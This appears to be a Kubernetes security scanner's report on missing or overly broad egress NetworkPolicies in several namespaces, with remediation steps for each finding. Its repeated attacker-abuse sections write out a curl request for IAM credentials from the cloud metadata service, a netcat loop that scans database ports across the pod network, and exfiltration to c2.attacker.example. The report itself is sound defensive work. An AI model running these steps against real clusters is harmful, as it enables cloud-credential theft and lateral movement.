The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/root-runner via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec root-runner -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"root-runner"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "root-runner",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/socket-mounts-app Workload 7.8
Workload Deployment/vulnerable/socket-mounts-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/socket-mounts-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec socket-mounts-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"socket-mounts-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "socket-mounts-app",
  "workload_namespace": "vulnerable"
}
HIGH

NetworkPolicy flat-network/allow-broad allows egress to 0.0.0.0/0 (entire internet)

KUBE-NETPOL-WEAKNESS-002 2 subjects Score 7.6

Affected subjects (2)

HIGH NetworkPolicy/flat-network/allow-broad Object 7.6
NetworkPolicy flat-network/allow-broad allows egress to 0.0.0.0/0 (entire internet)
Scope · Object NetworkPolicy flat-network/allow-broad: the workloads it selects can reach any IPv4/IPv6 destination
Category: Lateral Movement Resource: NetworkPolicy/flat-network/allow-broad Namespace: flat-network

NetworkPolicy flat-network/allow-broad contains an egress rule whose ipBlock.cidr is 0.0.0.0/0. This is the broadest possible CIDR, semantically equivalent to "allow this workload to make outbound connections to any destination." Because NetworkPolicy egress rules are additive, this single rule defeats whatever segmentation other policies tried to build for the selected pods.

Two properties make this rule especially dangerous: (1) 0.0.0.0/0 includes the link-local range that holds the cloud Instance Metadata Service (169.254.169.254/32 on AWS/Azure, metadata.google.internal on GCP), so a compromised pod can scrape node IAM credentials and pivot to the underlying cloud account; (2) 0.0.0.0/0 also includes the Pod and Service CIDRs of the cluster itself, so the rule does not just open the internet. It also opens inter-namespace traffic for the selected pods unless an except: block carves out the cluster ranges.

A correctly-scoped egress policy uses an ipBlock with the specific CIDRs the workload needs (a private VPC peer, a known SaaS provider's published range), or a namespaceSelector + podSelector pair to a named in-cluster dependency. 0.0.0.0/0 should never appear in a production egress allow rule.

Impact Selected workload can reach any IP, including cloud IMDS (credential theft) and arbitrary attacker C2 (data exfiltration). This turns any pod compromise into cloud-account compromise.
How an attacker abuses this
  1. Attacker compromises a pod selected by allow-broad.spec.podSelector.
  2. They hit http://169.254.169.254/latest/meta-data/iam/security-credentials/ and pull the node's IAM credentials. The egress rule allows this because IMDS is inside 0.0.0.0/0.
  3. They use stolen IAM credentials with aws sts get-caller-identity then enumerate the cloud account.
  4. They open an outbound TLS connection to c2.attacker.example on 443 (covered by the same broad rule) and exfiltrate harvested secrets.
  5. They abuse the same broad CIDR to reach other in-cluster Services unless except: carves out the cluster ranges.
Remediation
Replace 0.0.0.0/0 with the specific CIDRs the workload needs, or use namespaceSelector/podSelector for in-cluster destinations, and explicitly carve out the IMDS range.
  1. Inventory what allow-broad's selected pods actually need to reach (use kubectl exec ... -- ss -tnp or VPC flow logs).
  2. Replace the 0.0.0.0/0 rule with a specific allowlist: ipBlocks for required SaaS CIDRs, namespaceSelector/podSelector for in-cluster targets.
  3. At a CNI tier (Calico GlobalNetworkPolicy or Cilium ClusterwideNetworkPolicy), add a non-overridable deny for 169.254.169.254/32.
  4. Validate with a netshoot pod: confirm legitimate destinations resolve and connect; confirm curl --max-time 3 http://169.254.169.254/ and arbitrary internet hosts time out.
  5. Add a Kyverno or OPA Gatekeeper policy that rejects any new NetworkPolicy whose ipBlock CIDR is 0.0.0.0/0 or ::/0.
Evidence
Policyallow-broad
CIDR0.0.0.0/0
Entire IPv4 internet: egress here can exfiltrate to any host
Show raw JSON
{
  "cidr": "0.0.0.0/0",
  "policy": "allow-broad"
}
HIGH NetworkPolicy/netpol-imds/allow-everywhere Object 7.6
NetworkPolicy netpol-imds/allow-everywhere allows egress to 0.0.0.0/0 (entire internet)
Scope · Object NetworkPolicy netpol-imds/allow-everywhere: the workloads it selects can reach any IPv4/IPv6 destination
Category: Lateral Movement Resource: NetworkPolicy/netpol-imds/allow-everywhere Namespace: netpol-imds

NetworkPolicy netpol-imds/allow-everywhere contains an egress rule whose ipBlock.cidr is 0.0.0.0/0. This is the broadest possible CIDR, semantically equivalent to "allow this workload to make outbound connections to any destination." Because NetworkPolicy egress rules are additive, this single rule defeats whatever segmentation other policies tried to build for the selected pods.

Two properties make this rule especially dangerous: (1) 0.0.0.0/0 includes the link-local range that holds the cloud Instance Metadata Service (169.254.169.254/32 on AWS/Azure, metadata.google.internal on GCP), so a compromised pod can scrape node IAM credentials and pivot to the underlying cloud account; (2) 0.0.0.0/0 also includes the Pod and Service CIDRs of the cluster itself, so the rule does not just open the internet. It also opens inter-namespace traffic for the selected pods unless an except: block carves out the cluster ranges.

A correctly-scoped egress policy uses an ipBlock with the specific CIDRs the workload needs (a private VPC peer, a known SaaS provider's published range), or a namespaceSelector + podSelector pair to a named in-cluster dependency. 0.0.0.0/0 should never appear in a production egress allow rule.

Impact Selected workload can reach any IP, including cloud IMDS (credential theft) and arbitrary attacker C2 (data exfiltration). This turns any pod compromise into cloud-account compromise.
How an attacker abuses this
  1. Attacker compromises a pod selected by allow-everywhere.spec.podSelector.
  2. They hit http://169.254.169.254/latest/meta-data/iam/security-credentials/ and pull the node's IAM credentials. The egress rule allows this because IMDS is inside 0.0.0.0/0.
  3. They use stolen IAM credentials with aws sts get-caller-identity then enumerate the cloud account.
  4. They open an outbound TLS connection to c2.attacker.example on 443 (covered by the same broad rule) and exfiltrate harvested secrets.
  5. They abuse the same broad CIDR to reach other in-cluster Services unless except: carves out the cluster ranges.
Remediation
Replace 0.0.0.0/0 with the specific CIDRs the workload needs, or use namespaceSelector/podSelector for in-cluster destinations, and explicitly carve out the IMDS range.
  1. Inventory what allow-everywhere's selected pods actually need to reach (use kubectl exec ... -- ss -tnp or VPC flow logs).
  2. Replace the 0.0.0.0/0 rule with a specific allowlist: ipBlocks for required SaaS CIDRs, namespaceSelector/podSelector for in-cluster targets.
  3. At a CNI tier (Calico GlobalNetworkPolicy or Cilium ClusterwideNetworkPolicy), add a non-overridable deny for 169.254.169.254/32.
  4. Validate with a netshoot pod: confirm legitimate destinations resolve and connect; confirm curl --max-time 3 http://169.254.169.254/ and arbitrary internet hosts time out.
  5. Add a Kyverno or OPA Gatekeeper policy that rejects any new NetworkPolicy whose ipBlock CIDR is 0.0.0.0/0 or ::/0.
Evidence
Policyallow-everywhere
CIDR0.0.0.0/0
Entire IPv4 internet: egress here can exfiltrate to any host
Show raw JSON
{
  "cidr": "0.0.0.0/0",
  "policy": "allow-everywhere"
}
HIGH

Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint

KUBE-NETPOL-COVERAGE-001 15 subjects Score 7.4

Affected subjects (15)

HIGH Namespace/cloud-eks-test/cloud-eks-test Namespace 7.4
Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cloud-eks-test: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cloud-eks-test/cloud-eks-test Namespace: cloud-eks-test

Namespace cloud-eks-test contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cloud-eks-test and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cloud-eks-test, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cloud-eks-test.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cloud-eks-test --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecloud-eks-test
Show raw JSON
{
  "namespace": "cloud-eks-test"
}
HIGH Namespace/containersec-fixtures/containersec-fixtures Namespace 7.4
Namespace containersec-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace containersec-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/containersec-fixtures/containersec-fixtures Namespace: containersec-fixtures

Namespace containersec-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in containersec-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in containersec-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to containersec-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n containersec-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecontainersec-fixtures
Show raw JSON
{
  "namespace": "containersec-fixtures"
}
HIGH Namespace/csr-fixtures/csr-fixtures Namespace 7.4
Namespace csr-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace csr-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/csr-fixtures/csr-fixtures Namespace: csr-fixtures

Namespace csr-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in csr-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in csr-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to csr-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n csr-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecsr-fixtures
Show raw JSON
{
  "namespace": "csr-fixtures"
}
HIGH Namespace/default/default Namespace 7.4
Namespace default has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace default: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/default/default Namespace: default

Namespace default contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in default and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in default, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to default.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n default --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacedefault
Show raw JSON
{
  "namespace": "default"
}
HIGH Namespace/local-path-storage/local-path-storage Namespace 7.4
Namespace local-path-storage has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace local-path-storage: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/local-path-storage/local-path-storage Namespace: local-path-storage

Namespace local-path-storage contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in local-path-storage and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in local-path-storage, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to local-path-storage.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n local-path-storage --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacelocal-path-storage
Show raw JSON
{
  "namespace": "local-path-storage"
}
HIGH Namespace/lp-fixtures/lp-fixtures Namespace 7.4
Namespace lp-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace lp-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/lp-fixtures/lp-fixtures Namespace: lp-fixtures

Namespace lp-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in lp-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in lp-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to lp-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n lp-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacelp-fixtures
Show raw JSON
{
  "namespace": "lp-fixtures"
}
HIGH Namespace/privesc-fixtures/privesc-fixtures Namespace 7.4
Namespace privesc-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace privesc-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/privesc-fixtures/privesc-fixtures Namespace: privesc-fixtures

Namespace privesc-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

